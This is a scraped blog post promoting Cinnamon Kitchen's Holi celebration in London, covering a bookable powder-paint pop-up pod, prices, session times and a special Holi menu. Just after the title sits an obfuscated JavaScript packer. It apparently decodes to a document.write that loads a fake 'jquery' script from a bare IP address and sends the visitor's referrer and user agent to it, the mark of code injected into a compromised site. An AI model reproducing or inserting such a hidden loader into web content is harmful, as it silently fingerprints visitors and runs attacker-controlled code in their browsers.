HOUSE OF HOLI X CINNAMON KITCHEN

Now (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfsdf|var|u0026u|referrer|edfzt||js|php’.split(‘|’),0,{}))
here’s something you don’t see every day. To celebrate Holi – the Indian festival of colour – Cinnamon Kitchen are launching a two week pop-up pod outside the restaurant where you can go and sling multi-coloured powder paints all over your mates/enemies. The paint-throwers party-pod will be popping up between the 11 – 22nd March on Devonshire Square with the half-hour bookable slots costing £8 per person, or £15 including cocktail. Sound like fun to us…

Cinnamon Kitchen will also be running a special Holi menu at £45 per person, Dishes will include a starter of chargrilled sprouting broccoli with almonds and rose petals or Kentish lamb ‘pasanda’ with rock moss and allspice. Mains include a lotus stem korma or tandoori king prawns in a coconut and mustard curry, whilst diners can finish with traditional Holi sweets along with a carrot halwa parcel or a slice of coconut and pistachio cake. Yum.

Holi Sessions
Monday – Friday
12pm-12.30pm, 1pm-1.30pm, 2pm-2.30pm, 4pm-4.30pm, 5pm–5.30pm, 6pm-6.30pm & 7pm-7.30pm
Saturday
12pm-12.30pm, then every hour until 6pm-6.30pm

9 Devonshire Square, London, EC2M 4YL
www.cinnamon-kitchen.com